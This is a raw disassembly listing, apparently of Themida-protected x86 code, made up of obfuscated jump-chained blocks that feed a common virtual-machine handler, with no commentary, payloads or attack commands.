loc_592FF5: ; CODE XREF: Themida_:00598E1Bj
mov edi, 49085CAEh
jmp loc_595FCB
; ---------------------------------------------------------------------------
loc_592FFF: ; CODE XREF: Themida_:0059F40Ej
xor edx, 1FC406C4h
sub edx, 292372Dh
mov ecx, edx
pop edx
sub edi, 6C810210h
sub edi, ecx
add edi, 6C810210h
pop ecx
xchg edi, [esp]
pop esp
jmp loc_58FA76
; ---------------------------------------------------------------------------
loc_593026: ; CODE XREF: Themida_:00593812j
pop esi
shl edx, 7
push ebp
jmp loc_59F815
; ---------------------------------------------------------------------------
loc_593030: ; CODE XREF: Themida_:005988C7j
mov edi, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edi
mov edi, 0C84BF0h
jmp loc_5A1260
; ---------------------------------------------------------------------------
loc_59304E: ; CODE XREF: Themida_:00594949j
add esi, edx
pop edx
pop ebp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push 1478h
mov [esp], ebx
push esi
mov esi, 35F57431h
jmp loc_599926
; ---------------------------------------------------------------------------
loc_59306F: ; CODE XREF: Themida_:0059FFF1j
add esp, 4
push 3EA4h
mov [esp], ecx
mov ch, 0AFh
jmp loc_597F1E
; ---------------------------------------------------------------------------
loc_593081: ; CODE XREF: Themida_:0059406Dj
add esp, 4
mov edx, [esp]
push eax
mov eax, esp
jmp loc_592EC6
; ---------------------------------------------------------------------------
loc_593092: ; CODE XREF: Themida_:005A0271j
push dword ptr [esp]
pop eax
add esp, 4
loc_59309C: ; CODE XREF: Themida_:005A2F98j
push eax
jmp loc_594AFB
; ---------------------------------------------------------------------------
loc_5930A2: ; CODE XREF: Themida_:0059206Ej
pop ebp
add eax, edx
pop edx
mov edi, [esp]
add esp, 4
sub eax, 51C53CC7h
sub eax, esi
add eax, 51C53CC7h
sub eax, 55EB23D3h
pop esi
jmp loc_59CB85
; ---------------------------------------------------------------------------
loc_5930C6: ; CODE XREF: Themida_:0059503Bj
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebp
mov ebp, esp
jmp loc_5A0DC3
; ---------------------------------------------------------------------------
loc_5930E0: ; CODE XREF: Themida_:005A14BAj
push edx
sub esp, 4
mov [esp], ebp
mov ebp, 2F9B3C2Ch
add ebp, 5335417Ch
jmp loc_59C724
; ---------------------------------------------------------------------------
loc_5930FA: ; CODE XREF: Themida_:0058E557j
mov ch, 0B1h
jmp loc_59134C
; ---------------------------------------------------------------------------
loc_593101: ; CODE XREF: Themida_:00592719j
pop ebp
xor ebp, 4A4F18B0h
sub esp, 4
mov [esp], ebp
xor dword ptr [esp], 0D944DB0h
mov edi, [esp]
add esp, 4
xor edi, 0D944DB0h
mov ebp, [esp]
add esp, 4
add ecx, 332A02AAh
add ecx, edi
jmp loc_59B366
; ---------------------------------------------------------------------------
loc_59313A: ; CODE XREF: Themida_:0059F4EEj
add al, cl
pop ecx
push dword ptr [esp]
pop edx
add esp, 4
push 3FEh
mov [esp], ecx
jmp loc_5986C5
; ---------------------------------------------------------------------------
loc_593151: ; CODE XREF: Themida_:0058F9E4j
sub edx, ecx
sub edx, 37952DD3h
push dword ptr [esp]
pop ecx
push 5A50h
jmp loc_598CDC
; ---------------------------------------------------------------------------
loc_593167: ; CODE XREF: Themida_:0059B05Dj
mov ebp, [esp]
add esp, 4
xor ecx, 14501000h
mov esi, ecx
pop ecx
jmp loc_59C801
; ---------------------------------------------------------------------------
loc_59317B: ; CODE XREF: Themida_:0059E14Dj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push 6112h
jmp loc_59AA51
; ---------------------------------------------------------------------------
loc_593199: ; CODE XREF: Themida_:005A0F84j
xchg eax, [esp]
pop esp
or eax, eax
jz loc_5A082C
push 3336h
mov [esp], ecx
push edi
push ebx
mov ebx, 7E626B56h
mov edi, ebx
pop ebx
push 7E626C54h
pop ecx
sub ecx, edi
pop edi
jmp loc_59CE90
; ---------------------------------------------------------------------------
loc_5931C5: ; CODE XREF: Themida_:005954EEj
xor ebp, 41886982h
add esi, ebp
mov ebp, [esp]
add esp, 4
add ebx, esi
pop esi
jmp loc_58EDEA
; ---------------------------------------------------------------------------
loc_5931DE: ; CODE XREF: Themida_:00594AF6j
mov edx, [esp]
add esp, 4
neg bl
dec bl
push ecx
mov ch, 0BDh
xor bl, ch
pop ecx
and al, bl
pop ebx
push 5FABh
mov [esp], ebx
push 6599h
mov [esp], edi
push edi
jmp loc_5A1166
; ---------------------------------------------------------------------------
loc_59320A: ; CODE XREF: Themida_:0059EF68j
sub esi, 1E585713h
add esi, ebx
jmp loc_58F508
; ---------------------------------------------------------------------------
loc_593217: ; CODE XREF: Themida_:0059A450j
sub ebp, 10A7168h
mov edi, [esp]
add esp, 4
jmp loc_593FB1
; ---------------------------------------------------------------------------
loc_593228: ; CODE XREF: Themida_:0059160Fj
xor edx, 1FA84A19h
jmp loc_59BF60
; ---------------------------------------------------------------------------
loc_593233: ; CODE XREF: Themida_:0058E9D7j
add ebx, 4
xchg ebx, [esp]
pop esp
add ecx, 0AAF7A58h
jmp loc_59D3F4
; ---------------------------------------------------------------------------
loc_593248: ; CODE XREF: Themida_:005A16A2j
mov [esp], ebp
push eax
mov eax, 1D1B7D91h
mov ebp, eax
mov eax, [esp]
add esp, 4
or esi, ebp
mov ebp, [esp]
jmp loc_5A0292
; ---------------------------------------------------------------------------
loc_593263: ; CODE XREF: Themida_:0059ECBAj
xor dword ptr [edx], 6427D79h
mov edx, [esp]
add esp, 4
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59DF3D
; ---------------------------------------------------------------------------
loc_593280: ; CODE XREF: Themida_:0059F403j
pop ebp
and ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_597893
; ---------------------------------------------------------------------------
loc_593292: ; CODE XREF: Themida_:00595AEDj
add eax, 4
jmp loc_59ED5F
; ---------------------------------------------------------------------------
loc_59329C: ; CODE XREF: Themida_:00598E8Cj
mov edi, esp
push ebx
mov ebx, 79DF3FE5h
jmp loc_59C7D9
; ---------------------------------------------------------------------------
loc_5932A9: ; CODE XREF: Themida_:00597053j
sub esi, 21077A44h
add esi, edi
push edx
mov edx, 1C3830CCh
or edx, 0E1557CDh
or edx, 70774A92h
or edx, 393F6C4Fh
xor edx, 5E78059Bh
add esi, edx
pop edx
sub esi, 60074E50h
pop edi
push 4425h
mov [esp], esi
not dword ptr [esp]
mov esi, [esp]
jmp loc_59B313
; ---------------------------------------------------------------------------
loc_5932EC: ; CODE XREF: Themida_:0058FEE0j
add edx, 4
push eax
push edx
mov edx, 49586099h
mov eax, 0C455A0CEh
sub eax, 5F220874h
sub eax, edx
add eax, 5F220874h
pop edx
jmp loc_5A2DCA
; ---------------------------------------------------------------------------
loc_593310: ; CODE XREF: Themida_:0059F759j
xor ebp, [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59331D: ; CODE XREF: Themida_:00596561j
sub dword ptr [esp], 655A3BECh
pop ebx
jmp loc_58FC33
; ---------------------------------------------------------------------------
loc_59332A: ; CODE XREF: Themida_:005981C2j
pop ebx
push edi
mov edi, 53886C8Fh
add edi, 0FFFFFFFFh
or edi, 2E227554h
or edi, 5172D26h
neg edi
add edi, 2D6B5EECh
add edi, 820B2337h
sub eax, edi
jmp loc_5988C6
; ---------------------------------------------------------------------------
loc_593355: ; CODE XREF: Themida_:0058F22Dj
sub bl, dh
jmp loc_59B1E6
; ---------------------------------------------------------------------------
loc_59335C: ; CODE XREF: Themida_:00592419j
add dword ptr [esp+4], 44630091h
sub [esp+4], ebp
sub dword ptr [esp+4], 44630091h
pop ebp
sub dword ptr [esp], 3226732Eh
jmp loc_58EA98
; ---------------------------------------------------------------------------
loc_59337D: ; CODE XREF: Themida_:00592D84j
push edx
mov edx, 4DE4575Ah
jmp loc_59D301
; ---------------------------------------------------------------------------
loc_593388: ; CODE XREF: Themida_:0059EAF5j
pop ebp
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
jmp loc_59BE95
; ---------------------------------------------------------------------------
loc_5933A0: ; CODE XREF: Themida_:00599DB3j
neg eax
xor eax, 30ED6673h
add eax, 502F4C14h
add edi, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 34737A3Eh
shr esi, 3
add esi, 0FC3A75EFh
xor edi, esi
jmp loc_597932
; ---------------------------------------------------------------------------
loc_5933CA: ; CODE XREF: Themida_:0059A82Dj
push esp
mov edi, [esp]
jmp loc_59BFB4
; ---------------------------------------------------------------------------
loc_5933D3: ; CODE XREF: Themida_:005A0F4Aj
mov edi, [esp]
add esp, 4
sub ebx, eax
jmp loc_59E386
; ---------------------------------------------------------------------------
loc_5933E3: ; CODE XREF: Themida_:0059F00Aj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add ebp, 2
xchg ebp, [esp]
jmp loc_5974BA
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_593404: ; CODE XREF: Themida_:005A25C1j
add esp, 4
add eax, edx
push 6450h
mov [esp], esi
mov esi, 607934BFh
add eax, esi
pop esi
jmp loc_59945A
; ---------------------------------------------------------------------------
loc_59341E: ; CODE XREF: Themida_:00597121j
sub esi, 4
jmp loc_5A097E
; ---------------------------------------------------------------------------
loc_593429: ; CODE XREF: Themida_:0059A625j
add cl, 8Ah
xor cl, 7Dh
push 7AEFh
mov [esp], edx
mov dh, cl
push ecx
push ebx
mov bh, dh
jmp loc_59193B
; ---------------------------------------------------------------------------
loc_593442: ; CODE XREF: Themida_:005A3088j
push ebx
jmp loc_59EC13
; ---------------------------------------------------------------------------
loc_593448: ; CODE XREF: Themida_:0058EE30j
pop ebp
mov ebx, ebp
mov ebp, [esp]
push 4328h
mov [esp], ebp
sub esp, 4
sub esp, 4
jmp loc_5A204A
; ---------------------------------------------------------------------------
loc_593464: ; CODE XREF: Themida_:00594959j
push dword ptr [esp+4]
jmp loc_58F986
; ---------------------------------------------------------------------------
loc_59346D: ; CODE XREF: Themida_:00594A80j
or edx, eax
shl edx, 1
push ebp
jmp loc_59FFFD
; ---------------------------------------------------------------------------
loc_593477: ; CODE XREF: Themida_:00593615j
push esp
pop ecx
add ecx, 4
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_599E4C
; ---------------------------------------------------------------------------
loc_593492: ; CODE XREF: Themida_:005A1CECj
push edi
push dword ptr [esp+4]
pop edi
jmp loc_594891
; ---------------------------------------------------------------------------
loc_59349D: ; CODE XREF: Themida_:0059B25Cj
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
push esp
pop eax
jmp loc_5A01FE
; ---------------------------------------------------------------------------
loc_5934B0: ; CODE XREF: Themida_:0059EA02j
mov [esp], edx
jmp loc_596317
; ---------------------------------------------------------------------------
loc_5934B8: ; CODE XREF: Themida_:005903DBj
add ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_5A00CC
; ---------------------------------------------------------------------------
loc_5934C8: ; CODE XREF: Themida_:00594F20j
sub eax, 2C793CACh
pop ebx
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A0746
; ---------------------------------------------------------------------------
loc_5934E1: ; CODE XREF: Themida_:0058EC17j
xchg eax, edi
push ebx
mov ebx, 37572F70h
jmp loc_59400A
; ---------------------------------------------------------------------------
loc_5934ED: ; CODE XREF: Themida_:00590F3Dj
mov [esp], edi
mov edi, 6B9A1E9Eh
jmp loc_59298A
; ---------------------------------------------------------------------------
loc_5934FA: ; CODE XREF: Themida_:0059A21Ej
sub ebp, 1E4643F2h
sub eax, ebp
pop ebp
push esi
jmp loc_591231
; ---------------------------------------------------------------------------
loc_593509: ; CODE XREF: Themida_:0059E9BAj
push 4859h
mov [esp], ecx
jmp loc_5946B2
; ---------------------------------------------------------------------------
loc_593516: ; CODE XREF: Themida_:005973A6j
push ecx
mov ecx, 4
jmp loc_5973AB
; ---------------------------------------------------------------------------
loc_593521: ; CODE XREF: Themida_:0059281Fj
pop esi
push eax
mov eax, 0CAA54F8h
and eax, 7A630335h
jmp loc_592931
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_593541: ; CODE XREF: Themida_:0059AEF2j
xor ebx, eax
pop eax
push 45ABh
mov [esp], ebx
jmp loc_590E2A
; ---------------------------------------------------------------------------
loc_593551: ; CODE XREF: Themida_:00590980j
push eax
mov eax, 9CA7285h
dec eax
inc eax
push edx
jmp loc_594F84
; ---------------------------------------------------------------------------
loc_59355F: ; CODE XREF: Themida_:0059B77Fj
add ebp, 4
xchg ebp, [esp]
jmp loc_5948D7
; ---------------------------------------------------------------------------
loc_59356A: ; CODE XREF: Themida_:0058EAC8j
mov eax, [esp]
push edx
mov edx, esp
jmp loc_59876B
; ---------------------------------------------------------------------------
loc_593575: ; CODE XREF: Themida_:005924FDj
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_59B6DF
; ---------------------------------------------------------------------------
loc_593581: ; CODE XREF: Themida_:005A19C3j
pop esp
push ebx
mov edi, [esp]
jmp loc_59382D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_59358B: ; CODE XREF: sub_59DA2F-DA08j
mov bh, 30h
mov dh, 0AAh
add dh, bh
pop ebx
mov cl, dh
pop edx
sub al, cl
mov cx, [esp-8+arg_4]
sub esp, 4
mov [esp-4+arg_0], esi
mov esi, esp
add esi, 4
jmp loc_59C65E
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5935AE: ; CODE XREF: Themida_:00594FAFj
push 185Dh
mov [esp], edi
mov edi, esp
sub esp, 4
jmp loc_59D648
; ---------------------------------------------------------------------------
loc_5935C0: ; CODE XREF: Themida_:0059FDCDj
mov esi, [esp]
jmp loc_596470
; ---------------------------------------------------------------------------
loc_5935C8: ; CODE XREF: Themida_:0059E126j
xor bl, ch
push dword ptr [esp]
pop ecx
add esp, 4
sub bl, 72h
xor al, bl
jmp loc_5A0133
; ---------------------------------------------------------------------------
loc_5935DE: ; CODE XREF: Themida_:0059DC41j
pop edi
pop eax
sub esp, 4
mov [esp], eax
jmp loc_59E565
; ---------------------------------------------------------------------------
loc_5935EB: ; CODE XREF: Themida_:00597F57j
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], esi
jmp loc_58EB89
; ---------------------------------------------------------------------------
loc_593608: ; CODE XREF: Themida_:00599EF8j
mov esi, edi
mov edi, [esp]
jmp loc_59C266
; ---------------------------------------------------------------------------
loc_593612: ; CODE XREF: Themida_:00592135j
mov [esp], ecx
jmp loc_593477
; ---------------------------------------------------------------------------
loc_59361A: ; CODE XREF: Themida_:005996D0j
mov bh, 0F6h
and bh, 44h
jmp loc_59712F
; ---------------------------------------------------------------------------
loc_593624: ; CODE XREF: Themida_:00598BEBj
add ebp, 40410700h
add ebp, 5BE25221h
add ebp, ebx
push ebx
mov ebx, 5DF009D5h
jmp loc_595C0E
; ---------------------------------------------------------------------------
loc_59363D: ; CODE XREF: Themida_:00596817j
push 143Ch
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59365E: ; CODE XREF: Themida_:00592C3Dj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59E995
; ---------------------------------------------------------------------------
loc_593672: ; CODE XREF: Themida_:005A318Aj
pop ecx
and eax, ebp
mov ebp, [esp]
add esp, 4
or eax, eax
jz loc_592643
push dword ptr [edi+1Ch]
mov ecx, [esp]
jmp loc_595798
; ---------------------------------------------------------------------------
loc_593691: ; CODE XREF: Themida_:0058FEADj
pop eax
sub esp, 4
mov [esp], edi
push esp
pop edi
jmp loc_59438A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_5936A2: ; CODE XREF: sub_59233E-C72j
sub ebx, eax
pop eax
add ebx, 12C7426h
add ebx, edx
sub ebx, 12C7426h
add ebx, 2A092957h
sub ebx, 2E1406B0h
add eax, [ebx]
pop ebx
mov edx, [esp-8+arg_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp-4+arg_0]
pop esp
push 1711h
mov [esp-4+arg_0], eax
jmp loc_591CF9
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5936E2: ; CODE XREF: Themida_:00599E99j
pop esp
add eax, 0FFFFFFFFh
jmp loc_59D3A4
; ---------------------------------------------------------------------------
loc_5936ED: ; CODE XREF: Themida_:00594D0Ej
push esp
pop esi
jmp loc_59F7FF
; ---------------------------------------------------------------------------
loc_5936F4: ; CODE XREF: Themida_:00592C82j
mov bh, 67h
mov cl, 31h
sub cl, bh
pop ebx
push eax
mov ah, 0A1h
mov dh, 89h
sub dh, ah
pop eax
sub dh, cl
jmp loc_59387F
; ---------------------------------------------------------------------------
loc_59370A: ; CODE XREF: Themida_:005A2195j
pop esi
jmp loc_59F20A
; ---------------------------------------------------------------------------
loc_593710: ; CODE XREF: Themida_:005A0481j
pop ebp
jmp loc_59DBC4
; ---------------------------------------------------------------------------
loc_593716: ; CODE XREF: Themida_:005A03DEj
sub esi, 1AD3664h
mov ebx, [esp]
add esp, 4
and esi, 19B8381Ah
sub esi, 11B81006h
add ecx, esi
pop esi
jmp loc_5977E5
; ---------------------------------------------------------------------------
loc_593736: ; CODE XREF: Themida_:0059D412j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59C341
; ---------------------------------------------------------------------------
loc_59374A: ; CODE XREF: Themida_:00598162j
mov esi, 35F81BDBh
neg esi
shr esi, 1
push ecx
jmp loc_59E1E3
; ---------------------------------------------------------------------------
loc_593759: ; CODE XREF: Themida_:00596369j
mov [esp], eax
mov eax, 2
mov ecx, eax
jmp loc_590A44
; ---------------------------------------------------------------------------
loc_593768: ; CODE XREF: Themida_:00591586j
push esi
mov esi, 266C4C19h
shr esi, 1
shr esi, 4
inc esi
jmp loc_5937B1
; ---------------------------------------------------------------------------
loc_593779: ; CODE XREF: Themida_:005A09F9j
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ebp
push 58051028h
mov ebp, [esp]
add esp, 4
push ecx
push eax
mov eax, 0AB1647Bh
jmp loc_59F6B3
; ---------------------------------------------------------------------------
loc_59379D: ; CODE XREF: Themida_:00596A55j
sub edi, ecx
jmp loc_595E40
; ---------------------------------------------------------------------------
loc_5937A4: ; CODE XREF: Themida_:0059D916j
add esp, 4
mov bh, cl
mov ecx, [esp]
jmp loc_59FC0D
; ---------------------------------------------------------------------------
loc_5937B1: ; CODE XREF: Themida_:00593774j
not esi
neg esi
xor esi, 9A7D7F1Eh
add ebp, esi
pop esi
jmp loc_59DF30
; ---------------------------------------------------------------------------
loc_5937C3: ; CODE XREF: Themida_:0059D1E8j
mov ebx, [esp]
push 7C96h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov di, 0E779h
xor di, bp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor ax, di
mov di, [esp]
push ecx
mov ecx, esp
push edx
mov edx, 3FE25499h
push esi
mov esi, 1DD76FDh
add edx, esi
jmp loc_593026
; ---------------------------------------------------------------------------
loc_593817: ; CODE XREF: Themida_:005A15A1j
xor bh, 0C0h
shr bh, 5
dec bh
jmp loc_5A31E0
; ---------------------------------------------------------------------------
loc_593824: ; CODE XREF: Themida_:005A1451j
dec edx
shl edx, 5
jmp loc_58E91F
; ---------------------------------------------------------------------------
loc_59382D: ; CODE XREF: Themida_:00593586j
add esp, 4
jmp loc_595553
; ---------------------------------------------------------------------------
loc_593835: ; CODE XREF: Themida_:00599833j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
mov edi, 4
add ebx, edi
mov edi, [esp]
add esp, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59386F: ; CODE XREF: Themida_:005960AEj
xor ebp, 1CE24E63h
sub eax, 597C635Eh
jmp loc_5997A1
; ---------------------------------------------------------------------------
loc_59387F: ; CODE XREF: Themida_:00593705j
mov ecx, [esp]
add esp, 4
shr dh, 4
and dh, 63h
shr dh, 2
inc dh
jmp loc_599386
; ---------------------------------------------------------------------------
loc_593895: ; CODE XREF: Themida_:0059D3EFj
mov ebp, [esp]
jmp loc_591BF2
; ---------------------------------------------------------------------------
loc_59389D: ; CODE XREF: Themida_:0059ED66j
push edx
push ebx
push dx
mov dl, 0B1h
jmp loc_592DA5
; ---------------------------------------------------------------------------
loc_5938A8: ; CODE XREF: Themida_:005A0D0Fj
add esi, 4
jmp loc_590D13
; ---------------------------------------------------------------------------
loc_5938B3: ; CODE XREF: Themida_:00597751j
pop ebp
add ebx, eax
pop eax
pop ecx
push 5E1Fh
mov [esp], ecx
jmp loc_59972B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_5938C5: ; CODE XREF: sub_591554+F2CAj
or edx, edi
pop edi
push ebp
mov ebp, 47B54FC6h
add ebp, 0EFF5D802h
jmp loc_595FA0
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_5938D9: ; CODE XREF: Themida_:00596FCAj
push ebx
jmp loc_59A5C8
; ---------------------------------------------------------------------------
loc_5938DF: ; CODE XREF: Themida_:0059F5C0j
add dword ptr [esp], 251528B0h
mov ecx, [esp]
jmp loc_59D080
; ---------------------------------------------------------------------------
word_5938EE dw 2489h ; CODE XREF: Themida_:00599720j
; ---------------------------------------------------------------------------
and al, 57h
mov edi, 4
add [esp+4], edi
pop edi
pop edi
jmp loc_5A05C4
; ---------------------------------------------------------------------------
loc_593902: ; CODE XREF: Themida_:0059C402j
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A2854
; ---------------------------------------------------------------------------
loc_593915: ; CODE XREF: Themida_:005A122Bj
and ecx, 37266739h
sub ecx, 2CAE2B7Ah
mov ebx, ecx
pop ecx
jmp loc_59A515
; ---------------------------------------------------------------------------
loc_593929: ; CODE XREF: Themida_:00590B26j
xor ecx, 60BA740Ch
jmp loc_59C43F
; ---------------------------------------------------------------------------
loc_593934: ; CODE XREF: Themida_:005A2445j
sub eax, edi
add eax, 7D6A6B6Eh
push ecx
push ebx
push 97B2710h
pop ebx
shr ebx, 1
add ebx, 3A179D9Bh
mov ecx, ebx
mov ebx, [esp]
add esp, 4
push edi
jmp loc_59075D
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A09B5
; ---------------------------------------------------------------------------
loc_593973: ; CODE XREF: Themida_:00596453j
or eax, edx
jmp loc_5972D1
; ---------------------------------------------------------------------------
loc_59397A: ; CODE XREF: Themida_:0059EB97j
mov esi, ebx
jmp loc_5992A6
; ---------------------------------------------------------------------------
loc_593981: ; CODE XREF: Themida_:005A2570j
push ebp
mov ebp, 5E3C5781h
dec ebp
add ebp, 67E2370h
sub edx, ebp
jmp loc_59D3EE
; ---------------------------------------------------------------------------
loc_593995: ; CODE XREF: Themida_:00591D5Ej
pop esp
jmp loc_594373
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_59399B: ; CODE XREF: sub_59F235-2675j
mov edx, eax
pop eax
xor esi, edx
pop edx
sub esp, 4
mov [esp+10h+var_10], ebx
push esi
pop ebx
jmp loc_5A11D6
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_5939B1: ; CODE XREF: Themida_:0059B3C8j
pop ebx
dec eax
jmp loc_592DDE
; ---------------------------------------------------------------------------
loc_5939B8: ; CODE XREF: Themida_:0059E9D7j
add ecx, 553A26EEh
sub ecx, 0C69A2DEh
and edi, ecx
pop ecx
push ecx
push ebx
mov ebx, 1AFA7DEEh
mov ecx, ebx
pop ebx
and edi, ecx
mov ecx, [esp]
jmp loc_58F8DA
; ---------------------------------------------------------------------------
loc_5939DB: ; CODE XREF: Themida_:0059BF5Bj
xchg ecx, ebp
shl ebp, 7
add ebp, 45A25A2h
or ebp, 37B475D6h
jmp loc_5957FC
; ---------------------------------------------------------------------------
loc_5939F1: ; CODE XREF: Themida_:0059E735j
and edx, 27C52E88h
push edi
mov edi, 46005F13h
jmp loc_595F8E
; ---------------------------------------------------------------------------
loc_593A02: ; CODE XREF: Themida_:0059958Bj
sub ebx, 4
xchg ebx, [esp]
jmp loc_592F64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_593A0D: ; CODE XREF: sub_59FCFF+2Dj
xchg ecx, [esp+0Ch+var_C]
pop ecx
dec ecx
sub esp, 4
mov [esp+0Ch+var_C], esi
mov esi, 44D24F7Fh
jmp loc_58E678
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_593A22: ; CODE XREF: Themida_:00594FF9j
pop ebx
mov eax, [esp]
push ebx
jmp loc_596BFC
; ---------------------------------------------------------------------------
loc_593A2C: ; CODE XREF: Themida_:0059076Dj
add ecx, edi
jmp loc_5A06EB
; ---------------------------------------------------------------------------
loc_593A33: ; CODE XREF: Themida_:005995F2j
dec ebp
sub ebp, 0F767ED30h
mov esi, ebp
pop ebp
add ecx, esi
pop esi
sub ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_5A2AC9
; ---------------------------------------------------------------------------
loc_593A4D: ; CODE XREF: Themida_:00598E9Aj
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_593A57: ; CODE XREF: Themida_:0059800Dj
pop esi
add esi, 94512D4h
jmp loc_597D7D
; ---------------------------------------------------------------------------
loc_593A63: ; CODE XREF: Themida_:0059E68Cj
sub edx, 4
jmp loc_59ABB9
; ---------------------------------------------------------------------------
loc_593A6E: ; CODE XREF: Themida_:0059A79Cj
pop esp
jmp loc_5988BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_593A74: ; CODE XREF: sub_590877+D32Bj
pop [esp+0Ch+var_C]
push ebx
push ecx
mov ecx, 7F117C71h
mov ebx, 80EE8393h
add ebx, ecx
mov ecx, [esp+0]
add esp, 4
jmp loc_5A219A
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_593A93: ; CODE XREF: Themida_:0059D207j
dec edx
neg edx
add edx, 5A4B525Ch
jmp loc_598005
; ---------------------------------------------------------------------------
loc_593AA1: ; CODE XREF: Themida_:0059D5FEj
sub esp, 4
mov [esp], ecx
mov ecx, 24190CB6h
shl ecx, 3
push esi
mov esi, 4D4C7CEBh
xor esi, 71405073h
sub ecx, 68C0341Eh
sub ecx, esi
add ecx, 68C0341Eh
pop esi
sub esp, 4
mov [esp], ebx
sub esp, 4
jmp loc_58E92C
; ---------------------------------------------------------------------------
loc_593AD8: ; CODE XREF: Themida_:0058FFA6j
push 565Ch
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59F5E3
; ---------------------------------------------------------------------------
loc_593AE9: ; CODE XREF: Themida_:00599965j
mov ebp, esi
pop esi
pop edi
add edi, ebp
jmp loc_592E52
; ---------------------------------------------------------------------------
loc_593AF4: ; CODE XREF: Themida_:0059F087j
add ebp, ecx
pop ecx
jmp loc_58E862
; ---------------------------------------------------------------------------
loc_593AFC: ; CODE XREF: Themida_:0059CE7Aj
push ecx
mov ecx, 0E641C5Ah
not ecx
add ecx, 4186023Ah
jmp loc_5A2EFF
; ---------------------------------------------------------------------------
loc_593B0F: ; CODE XREF: Themida_:0058F503j
add edi, ecx
pop ecx
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
push ebx
push 286A47AEh
pop ebx
shr ebx, 6
push ebp
mov ebp, 4C3A078Dh
jmp loc_59128C
; ---------------------------------------------------------------------------
loc_593B39: ; CODE XREF: Themida_:005A2061j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
sub esp, 4
jmp loc_5927AE
; ---------------------------------------------------------------------------
loc_593B56: ; CODE XREF: Themida_:0059B636j
pop edx
add esp, 4
push 51C9h
mov [esp], esi
jmp loc_5A07E8
; ---------------------------------------------------------------------------
loc_593B6A: ; CODE XREF: Themida_:005A2ECEj
mov [esp], ebx
push ebp
jmp loc_592657
; ---------------------------------------------------------------------------
loc_593B73: ; CODE XREF: Themida_:00591E48j
mov ebx, 26CA0765h
jmp loc_59ABAD
; ---------------------------------------------------------------------------
loc_593B7D: ; CODE XREF: Themida_:0059B720j
pop esi
add edi, ecx
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push edi
jmp loc_598CBF
; ---------------------------------------------------------------------------
loc_593B99: ; CODE XREF: Themida_:00595397j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
